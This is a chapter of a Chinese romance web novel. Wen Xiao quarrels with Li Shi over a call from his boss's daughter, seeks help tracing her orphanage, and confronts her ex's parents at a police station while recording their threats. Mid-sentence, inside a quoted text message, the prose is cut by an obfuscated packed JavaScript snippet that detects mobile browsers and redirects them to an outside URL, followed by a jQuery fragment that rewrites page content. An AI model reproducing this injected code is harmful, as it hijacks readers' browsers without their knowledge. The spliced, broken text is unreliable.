车外仍是倾盆大雨，车内静谧而温暖，谁都不说话，触感在黑暗里被无限放大。这个怀抱太紧，闻晓挣扎不开。
她被抵在方向盘上，有只手伸过来护住她后脑勺，闻晓躺进他的掌心，与他四目相对。看见他低垂的睫毛，还有那蛊惑人心的唇。
距离越来越近。
闻晓闭眼，等待专属他的茶香覆上。
就在这种氛围里，似有若无的歌声钻进耳朵，上衣口袋好像闪着光。
闻晓挡住他的嘴唇，“你手机响了。”
黎时按掉，低头要吻她，“不用管。”
闻晓抱住他，从兜里顺出手机，手指一拨，甜腻的女声响起：“阿时哥哥，你到家了么？爸爸让我谢谢你送我回来。”
黎时察觉一道锐利的目光戳过来，他腾出手抢手机，闻晓侧身躲过坐起身，静静盯着他，按了免提。
黎时收回手，露出一个无奈的笑。
得不到回应的俞依依“喂”了声，“阿时哥哥，你在听吗？今晚被你抢先买单，爸爸让我下次请你吃饭，你有没有什么爱吃的呀……”
闻晓嘴角抿紧。
黎时赶紧出声：“不用客气，我先挂了。”
俞依依的尾音被掐断，黏糊糊的“呀”字，听着对方很年轻。闻晓的脸色不好看，手机往他怀里一丢，忍不住阴阳怪气，“心虚了？”
黎时捏着手机，“你听我说。”
闻晓开门，“不听。”
此时此刻的“听我说”等于“听我狡辩”。
闻晓说过，她也不是谁的话都听。
雨水砸到脸上，淋得人清醒，这世上哪有纯情男人，三十多岁总不可能一直单身。闻晓抬起手臂挡雨，将他甩在身后。
“都淋湿了。”黎时找到伞，匆匆追过来。
“走开。”闻晓一把推开，越走越快。
从来不知道她速度这么快，黎时快走两步，伸长手臂揽过她的肩，“她是俞总的女儿。”
闻晓回头就问：“那又怎样？”
黎时失笑，“只是陈述事实。”
难怪她一口一个“爸爸”，董事长的女儿谁能拒绝。闻晓对这种特殊待遇感到烦躁，摸出周益的车钥匙。
黎时按住车门，“不是你想的那样。”
闻晓斜眼看他，“最好在我发火之前松手。”
黎时的手机又响了。
这次是医生打来，他犹豫了一瞬，闻晓推开他坐上车。黎时站在车窗边，欲言又止的表情看在闻晓眼里更来气。
“接你的电话吧！”闻晓启动车子，扬长而去。
黎时叹了口气，翻开未接电话，十几通电话，有些是护士站的座机，有些是心理医生的私人号。
只有一通俞依依的来电，恰好被闻晓接了。
他这是什么运气。
黎时表情不耐，“我没寻死，您不用担心。”
医生埋怨，“正准备跟你家人打电话。”
黎时哭笑不得，“如果我存心想死，给谁打电话都没用。”
听语气很正常，医生放下心，“那我给你女朋友打电话呢？”
黎时：“……你怎么知道她是谁？”
医生：“回医院来再告诉你。”
*
闻晓瞄了后视镜几眼。
没有看到追来的车，她不由自主一声冷笑。
男人的嘴骗人的鬼。
一晚上的“真情流露”简直是打脸，闻晓咬咬牙，磨得后槽牙咯吱咯吱响。
等红灯的间隙，闻晓翻出通讯录。
就让躺在黑名单的人继续待着吧。
闻晓打给周益交代车子停放，号码拨出去，她又挂断，转而给他发微信：“弟弟，明天借下车。”
周益回复没问题。
闻晓洗了个热水澡，倒头就睡。
第二天，闻晓找到寻哥的家。
寻哥还在睡觉，“稍等，我朋友下来开门。”
闻晓有些惊讶，听寻哥说是独居，只带了单人份早餐，她想出去再买几份，大门开了。
约莫五六岁的女童挂在门把手上。大门被她晃得直响，她歪着脑袋，圆溜溜的眼睛盯着她。
闻晓有点懵，朋友是个小孩？
“你是谁？”小孩提问。
“叫晓晓阿姨。”低柔婉转的嗓音传来。
闻晓侧头去看，有人推开门，她穿着米白色棉衣，缎面似的长发挽起，露出巴掌大小的瓜子脸，嘴角微微含笑，“我是孙寻的朋友，外面冷，赶快进来。”
闻晓被美人镇住，一时忘记打招呼。
小孩过来牵起她，“晓晓阿姨，你带什么？”
闻晓回过神，递上早餐，“煎饼果子……”
小孩拉着闻晓进屋，“我喜欢吃！”
闻晓看向美人。
她正在门口穿鞋，解释自己要出门，然后给闻晓介绍小孩，“这是孙寻的女儿，叫她小茉莉就行。”
闻晓点点头，“谢谢。”
美人打开门，“孙寻还在床上躺着，直接上楼去找她吧。”
孙寻翻身，“没胃口，早餐给小茉莉吧。”
闻晓坐到床边问，“喝多了？”
孙寻揉揉眼睛，“很明显？”
闻晓没吭声，她对这状态太熟悉了。
孙寻坐起来，“微信我都看到了，但是你不记得院长叫什么名字，也不记得福利院是哪家。D市这么大，一家家排查起来很慢的。”
闻晓说：“我大概能记得她的长相，画下来找派出所调查行吗？”
孙寻打了个哈欠，“能行。我们同步进行吧，我这边帮你问问，你也去警察那里查查。”
闻晓道谢，“麻烦了，我很想知道自己是谁。”
孙寻一挥手，“跟我还见外？你刚刚看到我朋友没？她也是福利院出来的，说不定她能问到什么线索。”
闻晓微愣，她看着不太像。
至少和自己不太像。
收到几条短信，闻晓埋头盯着手机许久。
孙寻以为她在难过，坐过来拍拍闻晓的手背，“我们比你大一点，也是从二十几岁熬过来的。不要灰心，一切都会慢慢好起来。”
闻晓摇摇头，“不灰心，赔偿金收到了。”
孙寻感到意外，“那他还是有点良心。”
闻晓拿起手机，“不是他良心发现，是警察找到他了。”
*
车子停到派出所旁边的停车场。
重返此地，记忆涌上心头。
闻晓的耳朵微微涨红，她拍拍自己的脸，现在不是想那些的时候，还有一场硬仗要打——秦牧的父母在派出所“恭候多时”。
不是有人通风报信，而是秦妈妈特地发短信“问候”她’：「闻晓，你是不是想骗钱？我儿子什么时候欠你几十万？」
「这个钱我们不认
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133220|158921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，你自己去报警。」
「你真的报警了？一点情面也不讲？」
「我儿子什么时候打人了？你这是碰瓷！」
「如果你在警察前面再胡说，信不信我们找人收拾你？」
闻晓看笑了，一条也没回复。
她一脚跨进门，秦妈妈的巴掌就挥过来。
“殴打或故意伤害他人，处五到十日拘留。”闻晓迎面而上，与秦妈妈对视。
“你算什么东西？你说拘留就拘留？”秦妈妈拔高声音，所里的人都转头看向她。
“诶，声音小点。”秦爸爸出言提醒，他刚打完电话进门，恰好看到秦妈妈扑过去要打人，“这是派出所，你别闹了。”
闻晓走过去，“总算有个明白人。”
秦爸爸做了个请的手势，三个人一起坐下，秦爸爸说：“叔叔知道是秦牧不对，你是个明事理的姑娘，赔偿金给你能不能和解？”
闻晓也不绕弯子，“不能。”
秦妈妈跳起来，“你不要给脸不要脸。”
“怎么说话的？”秦爸爸再次打断，他皱紧眉毛，眼神中透露出一种难以忍受的烦躁，“本来就是儿子先动手。”
闻晓跷起二郎腿，“不错。”
秦爸爸话锋一转，“但你毕竟没有受伤。”
他将一次性水杯推到闻晓跟前，“赔偿金我已经一分不少转给你了。叔叔替秦牧向你道歉，还请你看在以前的感情原谅他……”
“在此之前我的确是这样想的。”闻晓翻出医生开的证明，“看看我弟弟被打成什么样了，他动手的时候可没想那些。”
秦爸爸瞄了眼，“医药费我出。”
秦妈妈不乐意，“不行，谁知道他们是不是讹钱的？”
秦妈妈叉起腰，居高临下看着闻晓，“你是从福利院出来的，哪儿来的弟弟？别是你外面谈的小情人，算到儿子那个冤大头身上。”
“公然侮辱他人，情节严重的，处三年以下有期徒刑、拘役……”闻晓缓缓开口，不给秦妈妈半个眼神。
这是第三次见面，她看得出来，虽然秦妈妈外表强势，但家里真正的话事人是秦爸爸。
“你也别背法律条款了，秦牧怎么处罚也不会很重，只要我们稍加打点……”秦爸爸的表情阴恻恻，脸色彻底黑下来，“但是你确定要跟我们撕破脸？”
闻晓抬眸，“听说叔叔的职位不低？”
秦爸爸压低声音，“你知道就好。”
“威胁我？”闻晓眯了眯眼睛，“真好，就等你这句话了。”
闻晓摸出手机，跟电话那头的人说：“都听到了吧，我说了他们不会认错的。”
秦爸爸愕然，“你在跟谁说话？”
闻晓点开免提，“队长，像这样私下威恐吓受害者，算不算违法？”
队长回答：“收到，我们都听到了。”
秦爸爸如遭雷击，双眼瞪老大，张张嘴半天说不出话。秦妈妈慌慌张张回应，“没有没有，都是误会，我们跟她开玩笑的。”
闻晓看了眼秦妈妈，补充说：“我这里还有短信可以证明，阿姨说要找人收拾我。”
秦妈妈眼前一黑，差点厥过去。
秦爸爸冷冷开口，“你到底想要什么？”
闻晓与秦爸爸直视，“让我跟秦牧谈。”
闻晓挂了电话，“叔叔阿姨，你们不能保护他一辈子吧，做错了事情就该自己承担。”